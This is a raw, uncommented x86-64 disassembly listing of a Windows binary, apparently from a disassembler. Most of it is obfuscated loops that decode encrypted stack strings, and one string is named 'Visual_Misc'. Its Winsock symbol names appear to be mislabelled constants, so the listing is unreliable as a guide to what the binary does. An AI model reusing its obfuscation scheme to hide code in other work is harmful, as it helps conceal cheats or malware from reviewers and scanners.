ja 0x140089e09
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140089c00
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x28]
jmp 0x140089c00
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x140089bf0
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
jmp 0x140089b93
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x140089b39
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx r11d, r10b
jmp 0x14008a568
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
inc r8
dec r10
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r10
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
movzx r11d, r10b
jmp 0x14008a433
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a52e
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a531
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008a477
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x14008a4a4
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
mov byte [rbp + r10 + 0x220], dil
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
cmp r8, 8
jb 0x140089f4b
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x24]
jmp 0x14008a568
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
cmp rbx, 0x10
jae 0x14008a411
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14008a352
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x140089f71
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
lea rax, [r8 + rbx]
cmp rax, 4
je 0x14008a45c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14008a26a
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
jmp 0x140089fb2
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14008a4a4
movzx r11d, r10b
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14008a477
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a531
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a52e
movzx r11d, r10b
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a433
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
dec r10
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
inc r8
dec r10
inc r10
jmp 0x140089b26
movzx r11d, r10b
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14008a568
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008a181
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140089ff7
jne 0x14008a1b4
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a1e0
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a531
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008a210
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008a433
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a23e
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
dec r10
inc r10
jmp 0x140089b26
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140089ff7
movzx r11d, r10b
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
jmp 0x14008a568
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a296
movzx r11d, r10b
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
jmp 0x14008a568
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008a2c4
lea ecx, [r10 - 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 7
dec r10
inc r10
jmp 0x140089b26
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a2f0
movzx r11d, r10b
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
jmp 0x14008a433
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a318
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
jmp 0x14008a52e
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140089fb2
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008a38c
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008a3b8
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008a531
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008a3e4
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008a52e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140089f71
movzx r11d, r10b
lea edx, [r11 + 0x34]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
jmp 0x14008a565
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x220]
sub cl, al
add cl, 0x24
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x1d
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x35
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x220], cl
jmp 0x14008a52e
movzx r11d, r10b
lea edx, [r11 - 0x4e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x47
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0xf
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x220], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x24]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 4
add r9b, cl
mov byte [rbp + r10 + 0x220], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea ecx, [r10 - 0x4d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x1b
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
lea ecx, [r10 + 0xb]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4d
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140089b26
movzx r11d, r10b
lea edx, [r11 + 0x63]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4b
add dil, dl
sub r11b, 0xd
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x5b
add r9b, r11b
mov byte [rbp + r10 + 0x220], r9b
inc r8
dec r10
inc r10
jmp 0x140089b26
lea ecx, [r10 - 0x1b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x43
inc r8
dec r10
inc r10
jmp 0x140089b26
lea ecx, [r10 - 0x45]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1d
dec r10
inc r10
jmp 0x140089b26
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x39
movzx eax, byte [rbp + r10 + 0x220]
add rax, r8
add r10, rax
inc r10
jmp 0x140089b26
add r10b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x21
jmp 0x140089b23
add r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
jmp 0x140089b13
lea rcx, [rbp + 0x1445a3c]
jmp 0x14008a660
lea rcx, [rbp + 0x4bd1d1]
jmp 0x14008a660
lea rcx, [rbp + 0x220]
lea rdx, [0x1401de734]
call fcn.1400393c0
call fcn.14000c740
mov dword [rbp + 0x44], 0x43bf0000
mov dword [rbp + 0x48], 0x428c0000
lea rcx, [rbp + 0x44]
call fcn.14001a180
mov dword [rbp + 0x4c], 0x438d0000
mov dword [rbp + 0x50], 0x43410000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4c]
lea rcx, str.Visual_Misc
call fcn.1400097c0
mov byte [rbp + 0x1a0], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x1a1], 0x40
mov byte [rbp + 0x1a2], 0x48
mov byte [rbp + 0x1a3], gethostname
mov byte [rbp + 0x1a4], WSAStartup
mov byte [rbp + 0x1a5], 0x75
mov byte [rbp + 0x1a6], 0x77
mov byte [rbp + 0x1a7], WSAStartup
mov byte [rbp + 0x1a8], 0x4b
mov byte [rbp + 0x1a9], 0x4f
mov byte [rbp + 0x1aa], 0x77
mov byte [rbp + 0x1ab], 0x46
mov byte [rbp + 0x1ac], 0x47
mov byte [rbp + 0x1ad], 0xc5
xor eax, eax
mov dword [rbp + 0x1ae], eax
mov word [rbp + 0x1b2], ax
movabs rsi, 0xccceb3178e3d2fe9
movabs r14, 0x4444e65d2f69baa3
movabs r15, 0xdde24c8c4be41a75
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r12
cmp r10, 0x14
jae 0x14008b0ba
movzx r9d, byte [rbp + r10 + 0x1a0]
mov edx, r9d
nop dword [rax]
cmp rbx, r10
ja 0x14008b0ae
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008a7a3
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x75
jmp 0x14008a7d0
je 0x14008b03f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008afbd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008af8b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008af4a
cmp r8, r10
ja 0x14008b0a2
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x14008a801
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x67
jmp 0x14008a840
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008af03
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008aedf
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008aebe
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008aea3
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008ab89
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008ab6a
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008ab49
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008ab2a
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008ab0b
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008aada
lea rbx, [r8 + 8]
lea r8, [rbx + 8]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008b085
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008b068
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008a951
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008aa5e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008aa1c
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008a850
mov rbx, rax
lea r8, [rax + 0x20]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008a9ef
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008a9d4
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008a9b9
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008a994
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008a96c
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008a850
mov rbx, rax
lea r8, [rax + 6]
jmp 0x14008a850
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x63
jmp 0x14008a7d0
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008a753
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008a753
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008afa1
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14008afcf
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
cmp r8, 0x10
jb 0x14008ae56
movzx r11d, r10b
lea ecx, [r11 - 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x3c]
jmp 0x14008af1d
lea ecx, [r10 - 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x71
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14008ae8d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x14008aca2
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
cmp rbx, 0x64
jae 0x14008ae66
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14008ad9c
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14008aa32
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008afcf
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008afa1
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
dec r10
inc r10
jmp 0x14008a753
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
movzx r11d, r10b
jmp 0x14008af1d
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008abb4
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x75
jmp 0x14008aa74
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008abee
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008ac16
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008afcf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ac42
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008afa4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008ac72
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008af64
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008aa74
movzx r11d, r10b
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008af1d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008acce
movzx r11d, r10b
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x35
jmp 0x14008af1d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008acfc
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
dec r10
inc r10
jmp 0x14008a753
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008ad24
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
jmp 0x14008afa1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ad4c
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
jmp 0x14008afa4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008ad74
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x47
jmp 0x14008afcf
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008aaa8
lea ecx, [r10 + 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x31
jmp 0x14008affa
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008add6
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008adfe
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14008afa4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ae26
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14008afa1
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14008aa32
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008af1d
mov byte [rbp + r10 + 0x1a0], dil
inc r10
jmp 0x14008a753
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x1a0]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008af64
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x72]
jmp 0x14008afcf
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x14008afa4
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
dec r10
inc r10
jmp 0x14008a753
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6d
inc r8
dec r10
inc r10
jmp 0x14008a753
movzx r11d, r10b
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7d
sub r11b, 0x6b
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x13
add r9b, r11b
mov byte [rbp + r10 + 0x1a0], r9b
inc r8
dec r10
inc r10
jmp 0x14008a753
movzx r11d, r10b
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xf
sub r11b, 0x25
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 3
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x1a0], r9b
jmp 0x14008afa1
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008a753
lea rax, [r10 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x33
lea edx, [r10 + 0x21]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x19
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1a0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x5c
add r9b, cl
mov byte [rbp + r10 + 0x1a0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
lea rax, [r10 + rsi]
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x5f
movzx eax, byte [rbp + r10 + 0x1a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008a753
sub r10b, 0x51
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x37
jmp 0x14008a750
add r10b, 0x69
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x21
jmp 0x14008a740
lea rcx, [rbp + 0x1496724]
jmp 0x14008b0c1
lea rcx, [rbp + 0x13321c7]
jmp 0x14008b0c1
lea rcx, [rbp + 0x1a0]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r13
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401dc6d0]
call fcn.14003eeb0
mov byte [rbp + 0x610], 0xab
mov byte [rbp + 0x611], 0xb4
mov byte [rbp + 0x612], 0xbf
mov byte [rbp + 0x613], 0xb7
mov byte [rbp + 0x614], 0xbd
mov byte [rbp + 0x615], 0xd1
mov byte [rbp + 0x616], 0xad
mov byte [rbp + 0x617], 0xa9
mov byte [rbp + 0x618], 0x7e
mov byte [rbp + 0x619], 0xb5
mov byte [rbp + 0x61a], 0xa0
mov byte [rbp + 0x61b], 0xa0
mov byte [rbp + 0x61c], 0xa7
mov byte [rbp + 0x61d], 0xa0
mov byte [rbp + 0x61e], 0xa2
mov byte [rbp + 0x61f], 0xa8
mov byte [rbp + 0x620], 0xdb
mov byte [rbp + 0x621], 0xdc
mov byte [rbp + 0x622], 0x50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x623], xmm0
mov qword [rbp + 0x633], rax
mov word [rbp + 0x63b], ax
movabs rsi, 0x8e3962edc16ddc0b
movabs r15, 0xe391b4804a01044d
movabs r14, 0xaaac28c944499421
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r12
cmp r10, 0x2d
jae 0x14008bd4c
movzx r9d, byte [rbp + r10 + 0x610]
mov rdx, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x14008bd40
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008b203
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x4d
jmp 0x14008b240
je 0x14008bcd0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008bc46
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008bc13
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008bbce
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008bba9
nop dword [rax]
cmp r8, r10
ja 0x14008bd34
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14008b271
lea ecx, [r10 - 0x19]
